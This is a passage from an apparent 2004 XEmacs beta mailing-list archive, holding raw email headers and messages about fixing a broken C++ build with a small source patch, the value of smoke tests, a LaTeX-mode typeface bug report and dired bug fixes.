-0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i385O5j24474 for xemacs-beta-mailman@xemacs.org; Thu, 8 Apr 2004 01:24:05 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i385O4l24462 for turnbull@tux.org; Thu, 8 Apr 2004 01:24:04 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i385O1s24432; Thu, 8 Apr 2004 01:24:01 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBS16-0008V2-00; Thu, 08 Apr 2004 14:23:56 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: BSD MP: maybe not so flaky after all References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 08 Apr 2004 14:23:55 +0900 In-Reply-To: (Jerry James's message of "Wed, 07 Apr 2004 22:07:35 -0500") Message-ID: <87r7uzcaac.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> As always, let me know of any other bugs or problems you Jerry> encounter. C++ build is busted. This needs to be fixed. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 8 02:14:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i386E4s09353; Thu, 8 Apr 2004 02:14:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i386D7Q09137 for xemacs-beta-mailman@xemacs.org; Thu, 8 Apr 2004 02:13:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i386D5G09125 for turnbull@tux.org; Thu, 8 Apr 2004 02:13:05 -0400 Received: from kluster2.contactor.se (kluster2.contactor.se [193.15.23.26]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i386CXs08987; Thu, 8 Apr 2004 02:12:33 -0400 Received: from spencer (matsl@chekov.contactor.se [193.15.23.29]) by kluster2.contactor.se (8.12.3/8.12.3/Debian-6.6) with ESMTP id i386CWlK009862; Thu, 8 Apr 2004 08:12:32 +0200 To: "Stephen J. Turnbull" Cc: Jerry James , XEmacs Beta Subject: Re: BSD MP: maybe not so flaky after all From: Mats Lidell Organization: The XEmacs Project X-Face: #[2| (Stephen J. Turnbull's message of "Thu, 08 Apr 2004 14:23:55 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, linux) References: <87r7uzcaac.fsf@tleepslib.sk.tsukuba.ac.jp> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: clamd / ClamAV version 0.67+CVS20040305, clamav-milter version 0.67j X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> Stephen wrote: Stephen> C++ build is busted. This needs to be fixed. Aha! Seems like we are approaching a situation where a set of smoke-tests could be helpful. Right? Yours -- %% Mats From xemacs-beta-admin@xemacs.org Thu Apr 8 03:43:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i387h1s32722; Thu, 8 Apr 2004 03:43:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i387gMP32578 for xemacs-beta-mailman@xemacs.org; Thu, 8 Apr 2004 03:42:22 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i387gL032567 for turnbull@tux.org; Thu, 8 Apr 2004 03:42:21 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i387gEs32534; Thu, 8 Apr 2004 03:42:14 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBUAv-0000QW-00; Thu, 08 Apr 2004 16:42:13 +0900 To: Mats Lidell Cc: XEmacs Beta Subject: Re: BSD MP: maybe not so flaky after all References: <87r7uzcaac.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 08 Apr 2004 16:42:12 +0900 In-Reply-To: (Mats Lidell's message of "Thu, 08 Apr 2004 08:12:32 +0200") Message-ID: <878yh6digb.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Mats" == Mats Lidell writes: >>>>> Stephen wrote: Stephen> C++ build is busted. This needs to be fixed. Mats> Aha! Seems like we are approaching a situation where a set Mats> of smoke-tests could be helpful. Right? That's always been useful, it's just that when Ben and Martin were active, they did it so there was little need for a third party to do it. Now with everybody so time contrained and Ben and Martin inactive, it would be a very useful service. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 8 11:23:52 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i38FNZs25682; Thu, 8 Apr 2004 11:23:36 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i38FMgq24985 for xemacs-beta-mailman@xemacs.org; Thu, 8 Apr 2004 11:22:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i38FMe724954 for turnbull@tux.org; Thu, 8 Apr 2004 11:22:40 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i38FMes24935; Thu, 8 Apr 2004 11:22:40 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i38FMUDu020708; Thu, 8 Apr 2004 10:22:30 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i38FMUHS002535; Thu, 8 Apr 2004 10:22:30 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i38FMTXU002533; Thu, 8 Apr 2004 10:22:29 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: XEmacs Patches , XEmacs Beta Subject: [AC21.5] C++ fixes References: <87r7uzcaac.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI X-Generated-By: Patcher version 3.5.2 Date: Thu, 08 Apr 2004 10:22:29 -0500 In-Reply-To: <87r7uzcaac.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Thu, 08 Apr 2004 14:23:55 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: > C++ build is busted. This needs to be fixed. Mats is right. There are too many combinations for me to keep up with them all. There is gcc vs. g++ vs. icc, no bignums vs. GMP vs. BSD MP, union type vs. no union type, modules vs. no modules, not to mention that I have 3 platforms I can use, namely Linux, Solaris, and Cygwin (althogh mostly Linux). I just don't have time to build and check all of those combinations every time I make a change. I usually do build 2 or 3 combinations each time, trying to guess which ones might have been impacted, but I haven't guessed right a few times recently. Anyhow, here's a fix for the C++ breakage. src/ChangeLog addition: 2004-04-08 Jerry James * data.c: Use #ifndef for functions unused with new number types. * data.c (digit_to_number): Unused when HAVE_BIGNUM. * number.c: Remove multiply defined symbols Qintegerp & Qnumberp. * number.c (syms_of_number): DEFSUBR(Ffloatingp) was omitted. * print.c (print_internal): g++ thinks that specdepth might be used undefined. It isn't, but the compiler can't tell. xemacs-21.5 source patch: Diff command: cvs -q diff -uN Files affected: src/print.c src/number.c src/data.c Index: src/data.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/data.c,v retrieving revision 1.53 diff -d -u -r1.53 data.c --- src/data.c 2004/04/07 03:49:00 1.53 +++ src/data.c 2004/04/08 15:07:48 @@ -836,6 +836,7 @@ /**********************************************************************/ /* Arithmetic functions */ /**********************************************************************/ +#ifndef WITH_NUMBER_TYPES typedef struct { int int_p; @@ -876,6 +877,7 @@ goto retry; } } +#endif /* WITH_NUMBER_TYPES */ static EMACS_INT integer_char_or_marker_to_int (Lisp_Object obj) @@ -1213,6 +1215,7 @@ } } +#ifndef HAVE_BIGNUM static int digit_to_number (int character, int base) { @@ -1224,6 +1227,7 @@ return digit >= base ? -1 : digit; } +#endif DEFUN ("string-to-number", Fstring_to_number, 1, 2, 0, /* Convert STRING to a number by parsing it as a number in base BASE. Index: src/number.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/number.c,v retrieving revision 1.3 diff -d -u -r1.3 number.c --- src/number.c 2004/04/07 14:55:34 1.3 +++ src/number.c 2004/04/08 15:07:49 @@ -24,7 +24,7 @@ #include #include "lisp.h" -Lisp_Object Qintegerp, Qrationalp, Qfloatingp, Qrealp, Qnumberp; +Lisp_Object Qrationalp, Qfloatingp, Qrealp; Lisp_Object Vdefault_float_precision; Fixnum Vmost_negative_fixnum, Vmost_positive_fixnum; static Lisp_Object Qunsupported_type; @@ -707,11 +707,9 @@ #endif /* Type predicates */ - DEFSYMBOL (Qintegerp); DEFSYMBOL (Qrationalp); DEFSYMBOL (Qfloatingp); DEFSYMBOL (Qrealp); - DEFSYMBOL (Qnumberp); #ifndef HAVE_BIGNUM DEFSYMBOL (Qbignump); #endif @@ -732,6 +730,7 @@ DEFSUBR (Fnumerator); DEFSUBR (Fdenominator); DEFSUBR (Fbigfloatp); + DEFSUBR (Ffloatingp); DEFSUBR (Frealp); DEFSUBR (Fcanonicalize_number); DEFSUBR (Fcoerce_number); Index: src/print.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/print.c,v retrieving revision 1.48 diff -d -u -r1.48 print.c --- src/print.c 2004/03/19 02:59:10 1.48 +++ src/print.c 2004/04/08 15:07:49 @@ -1514,7 +1514,7 @@ print_internal (Lisp_Object obj, Lisp_Object printcharfun, int escapeflag) { /* This function can GC */ - int specdepth; + int specdepth = 0; struct gcpro gcpro1, gcpro2; QUIT; -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 8 12:33:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i38GX2s08442; Thu, 8 Apr 2004 12:33:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i38GWEA07824 for xemacs-beta-mailman@xemacs.org; Thu, 8 Apr 2004 12:32:14 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i38GW6h07736 for turnbull@tux.org; Thu, 8 Apr 2004 12:32:06 -0400 Received: from usrtbri01.sonyericsson.com (usrtrel01.sonyericsson.com [65.222.158.130]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i38GW6s07730 for ; Thu, 8 Apr 2004 12:32:06 -0400 Received: from usrtrel01.sonyericsson.com(65.222.158.130) by usrtbri01.sonyericsson.com via csmap id 3209bb62_897a_11d8_898e_0002b3a80053_31396; Thu, 08 Apr 2004 12:31:32 -0400 (EDT) Received: from usrtrel01-I.sonyericsson.com ([65.222.158.130]) by usrtrel01.sonyericsson.com with Microsoft SMTPSVC(6.0.3790.0); Thu, 8 Apr 2004 12:32:01 -0400 Received: from usrtcon01.corpusers.net ([10.173.0.6]) by usrtrel01-I.sonyericsson.com with Microsoft SMTPSVC(6.0.3790.0); Thu, 8 Apr 2004 12:32:01 -0400 Received: from usrts005.corpusers.net ([10.173.123.195]) by usrtcon01.corpusers.net with Microsoft SMTPSVC(6.0.3790.0); Thu, 8 Apr 2004 12:32:05 -0400 To: xemacs-beta@xemacs.org Subject: Inconsistent Typefaces in LaTeX mode From: Randy Yates Organization: Sony Ericsson Mobile Communications Date: 08 Apr 2004 12:32:01 -0400 Message-ID: Lines: 60 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Military Intelligence) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-OriginalArrivalTime: 08 Apr 2004 16:32:05.0967 (UTC) FILETIME=[07AB3DF0:01C41D87] X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , In XEmacs 21.4 (patch 10) "Military Intelligence" [Lucid] (sparc-sun-solaris2.7, Mule) of Thu Nov 7 2002 on edgedsp4 configured using `configure --verbose --extra-verbose --with-mule --with-pop --with-sound=noesd --package-path=/apps/public/XEmacs/lib --prefix=/apps/public/XEmacs/21.4 --bindir=/apps/public/XEmacs/21.4/bin/solaris2.7 --with-workshop --with-dialogs=motif --with-widgets=motif '--site-includes=/apps/public/solaris2.7/usr/openwin/include /apps/public/solaris2.7/include' '--site-libraries=/apps/public/solaris2.7/usr/openwin/lib /apps/public/solaris2.7/lib'' Please describe exactly what actions triggered the bug and the precise symptoms of the bug: This is being submitted per Stephen Turnbull's suggestion recently on comp.text.tex (see attached message). The type faces for bold, italic, etc., that are applied in a LaTeX source file (.tex) in LaTeX mode (NOT AucTEX mode!) for constructs such as "\textit{mytext}" differ from the type face of the standard text in the file. I prefer the normal typeface only to be used. Stephen suggested that I used Options/Edit Faces to change it, which I did (the result of which is in the custom.el I am also attaching), the the resulting typeface, while the right size, is from a different family. Apparently this is a bug. --Randy Recent keystrokes: C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p C-p RET C-x o C-x 3 C-x o C-x b c u TAB RET M-x r e p o r t - x e m a c s - b u g RET RET C-g C-g C-h a r e p o r t RET C-n C-n C-n C-n C-n C-n C-n C-n C-n q C-x o C-x o C-x o C-x o M-x r e p o r t - e m a c s - b u g RET Recent messages (most recent first): Parsing /home/unix/us057845/.mailrc... Loading emacsbug...done Loading emacsbug... Quit Quit Loading mail-extr...done Loading mail-extr... Loading gnus-picon...done Loading gnus-picon... Loading smiley...done -- Randy Yates Sony Ericsson Mobile Communications Research Triangle Park, NC, USA randy.yates@sonyericsson.com, 919-472-1124 From xemacs-beta-admin@xemacs.org Fri Apr 9 05:08:18 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39981s09290; Fri, 9 Apr 2004 05:08:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3997BX08781 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 05:07:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3997A508764 for turnbull@tux.org; Fri, 9 Apr 2004 05:07:10 -0400 Received: from mx4.informatik.uni-tuebingen.de (mx4.Informatik.Uni-Tuebingen.De [134.2.12.29]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39978s08746 for ; Fri, 9 Apr 2004 05:07:09 -0400 Received: from localhost (loopback [127.0.0.1]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 6C1D813EC for ; Fri, 9 Apr 2004 11:07:08 +0200 (MST) Received: from mx4.informatik.uni-tuebingen.de ([127.0.0.1]) by localhost (mx4 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 07472-04 for ; Fri, 9 Apr 2004 11:07:08 +0200 (DFT) Received: from sams.informatik.uni-tuebingen.de (sams.Informatik.Uni-Tuebingen.De [134.2.12.50]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 15ABC1390 for ; Fri, 9 Apr 2004 11:07:08 +0200 (MST) Received: from sams.informatik.uni-tuebingen.de (localhost [127.0.0.1]) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3) with ESMTP id i39977ET023642 for ; Fri, 9 Apr 2004 11:07:07 +0200 (CEST) (envelope-from sperber@sams.informatik.uni-tuebingen.de) Received: (from sperber@localhost) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3/Submit) id i39977JC023641; Fri, 9 Apr 2004 11:07:07 +0200 (CEST) To: xemacs-beta@xemacs.org Subject: Re: M-x ANY-CHAR deactivates region References: <878ynx4dnq.fsf@tleepslib.sk.tsukuba.ac.jp> <5.0.0.25.2.20031002221741.019e4a48@127.0.0.1> <20031005212139.GA96929@dspnet.fr.eu.org> <878ynx4dnq.fsf@tleepslib.sk.tsukuba.ac.jp> <4.3.2.7.2.20031007065755.00b8fe88@127.0.0.1> From: Michael Sperber Date: Fri, 09 Apr 2004 11:07:07 +0200 In-Reply-To: (Michael Sperber's message of "Sun, 04 Apr 2004 19:01:04 +0200") Message-ID: User-Agent: Gnus/5.110001 (No Gnus v0.1) XEmacs/21.5 (celeriac, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Moiself" == Michael Sperber writes: >>>>> "APA" == Adrian Aichner writes: APA> Doesn't this reek of a missing `save-window-excursion' somewhere? Moiself> Well, some internal invariant is obviously getting violated, so I Moiself> doubt it can be done with Elisp-code hacking alone. Correction; I just sent a fix to xemacs-patches, and it's Elisp-only. (No `save-window-excursion', though.) -- Cheers =8-} Mike Friede, Völkerverständigung und überhaupt blabla From xemacs-beta-admin@xemacs.org Fri Apr 9 06:47:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39Al5s20526; Fri, 9 Apr 2004 06:47:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39AkSK20097 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 06:46:28 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39AkQG20067 for turnbull@tux.org; Fri, 9 Apr 2004 06:46:26 -0400 Received: from mx4.informatik.uni-tuebingen.de (mx4.Informatik.Uni-Tuebingen.De [134.2.12.29]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39AkNs20018 for ; Fri, 9 Apr 2004 06:46:23 -0400 Received: from localhost (loopback [127.0.0.1]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id ABEB313C3; Fri, 9 Apr 2004 12:46:19 +0200 (MST) Received: from mx4.informatik.uni-tuebingen.de ([127.0.0.1]) by localhost (mx4 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 51056-03; Fri, 9 Apr 2004 12:46:19 +0200 (DFT) Received: from sams.informatik.uni-tuebingen.de (sams.Informatik.Uni-Tuebingen.De [134.2.12.50]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 95A471425; Fri, 9 Apr 2004 12:44:14 +0200 (MST) Received: from sams.informatik.uni-tuebingen.de (localhost [127.0.0.1]) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3) with ESMTP id i39AiEET023988; Fri, 9 Apr 2004 12:44:14 +0200 (CEST) (envelope-from sperber@sams.informatik.uni-tuebingen.de) Received: (from sperber@localhost) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3/Submit) id i39AiE7R023987; Fri, 9 Apr 2004 12:44:14 +0200 (CEST) To: Jouni K Seppanen Cc: XEmacs Beta Subject: Re: [Bug: 21.4.12] [PATCH] dired-summary doesn't understand keys like [d] References: <29llmcvkg5.fsf@itl-pc9.hut.fi> From: Michael Sperber Date: Fri, 09 Apr 2004 12:44:14 +0200 In-Reply-To: <29llmcvkg5.fsf@itl-pc9.hut.fi> (Jouni K. Seppanen's message of "Sun, 07 Mar 2004 15:46:34 +0200") Message-ID: User-Agent: Gnus/5.110001 (No Gnus v0.1) XEmacs/21.5 (celeriac, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jouni" == Jouni K Seppanen writes: Jouni> The problem seems to be that, e.g., Jouni> (where-is-internal 'dired-flag-file-deletion dired-mode-map) Jouni> returns ([d]), not ("d"), and dired-summary does (member "d" ...) to Jouni> check if "d" is a key for the deletion command. Here is a suggested Jouni> fix: Jouni> (defun dired-summary () [...] Many thanks for the fix! It'll be in the next release. Note that it's usually a better idea to report Dired bugs via M-x dired-report-bug RET as that will reach the maintainers faster. -- Cheers =8-} Mike Friede, Völkerverständigung und überhaupt blabla From xemacs-beta-admin@xemacs.org Fri Apr 9 07:23:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39BN1s16116; Fri, 9 Apr 2004 07:23:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39BMRN15640 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 07:22:27 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39BMRJ15624 for turnbull@tux.org; Fri, 9 Apr 2004 07:22:27 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39BMMs15573; Fri, 9 Apr 2004 07:22:23 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBu5V-0005lr-00; Fri, 09 Apr 2004 20:22:21 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: [AC21.5] C++ fixes References: <87r7uzcaac.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 09 Apr 2004 20:22:20 +0900 In-Reply-To: (Jerry James's message of "Thu, 08 Apr 2004 10:22:29 -0500") Message-ID: <878yh5bdlf.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> "Stephen J. Turnbull" wrote: >> C++ build is busted. This needs to be fixed. Jerry> Mats is right. In theory somebody could sign up for the SourceForge build farm. Jerry> There are too many combinations for me to Jerry> keep up with them all. Well, of course. That's why I ran the C++ build when I was reminded of it by the configure.in fiddling I did, especially in view of Mr. Royer's experience with union type. I actually didn't expect it to break :-(. I don't mean to pick on you (tease yes, I did, but imply your practices are substandard, no), and I'm hardly more than an armchair standards lawyer at best. I'm just repeating what people who are much better programmers than me (Ben) and much better maintainers than me (Martin) have insisted on over the years. If Ben and Martin agree, then I'd bet it's true, you don't have to tell me the third time. ;-) FWIW, I would say that using GCC C w/ dis-union (I'm pretty sure there have been syntax bugs that didn't appear with strict type-checking but showed up in the C/disunion build), C++ w/ union pretty much covers the bases for this kind of breakage. If you want to do other compilers, that's very fine, but IMHO this pair is a pretty good baseline for individuals, especially in the stage you're at. The bignums v. not, modules v. not, assorted platforms stuff is important on a beta-to-beta basis, but if at all possible the code should be kept as clean as possible vis-a-vis the C++/union build on a day-to-day basis (again IMHO). -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Fri Apr 9 07:49:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39Bn2s04657; Fri, 9 Apr 2004 07:49:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39Bm5B03964 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 07:48:05 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39Bm4H03940 for turnbull@tux.org; Fri, 9 Apr 2004 07:48:04 -0400 Received: from smtp2.pp.htv.fi (smtp2.pp.htv.fi [213.243.153.14]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39Bm4s03932 for ; Fri, 9 Apr 2004 07:48:04 -0400 Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50]) by smtp2.pp.htv.fi (Postfix) with ESMTP id 201BE29847B for ; Fri, 9 Apr 2004 14:47:58 +0300 (EEST) Received: from [62.78.130.181] (cs78130181.pp.htv.fi [62.78.130.181]) by posti.pp.htv.fi (8.11.1 (Revision 1.5+JAGae91741+JAGae92668) /8.11.1) with ESMTP id i39Blvh29255 for ; Fri, 9 Apr 2004 14:47:57 +0300 (EETDST) Subject: dired-kill-line? From: Ville =?ISO-8859-1?Q?Skytt=E4?= To: xemacs-beta@xemacs.org Content-Type: text/plain Organization: The XEmacs Development Team Message-Id: <1081511277.4181.151.camel@bobcat.mine.nu> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Fri, 09 Apr 2004 14:47:57 +0300 Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: 